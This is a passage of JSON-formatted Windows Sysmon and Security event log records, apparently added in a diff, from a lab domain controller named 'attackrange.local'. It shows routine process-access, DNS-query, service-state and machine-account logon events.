11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3930,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.674\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.674","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3931,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.674\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.674","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3932,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.674\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.674","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3933,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.674\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.674","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3934,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.674\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.674","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3935,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.674\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.674","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3936,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.674\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4089-5F2D-0000-0010689C0500}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.674","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4089-5F2D-0000-0010689C0500}","TargetProcessId":"4376","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":3937,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.039\r\nProcessGuid: {90617006-4089-5F2D-0000-001001970500}\r\nProcessId: 4340\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.039","ProcessGuid":"{90617006-4089-5F2D-0000-001001970500}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","EventReceivedTime":"2020-08-07 11:52:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76842,"ProcessID":852,"ThreadID":1108,"Channel":"System","Message":"The Network Setup Service service entered the stopped state.","param1":"Network Setup Service","param2":"stopped","EventReceivedTime":"2020-08-07 11:52:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221787,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5A38A\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5a38a","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:53:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221788,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5A38A\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon 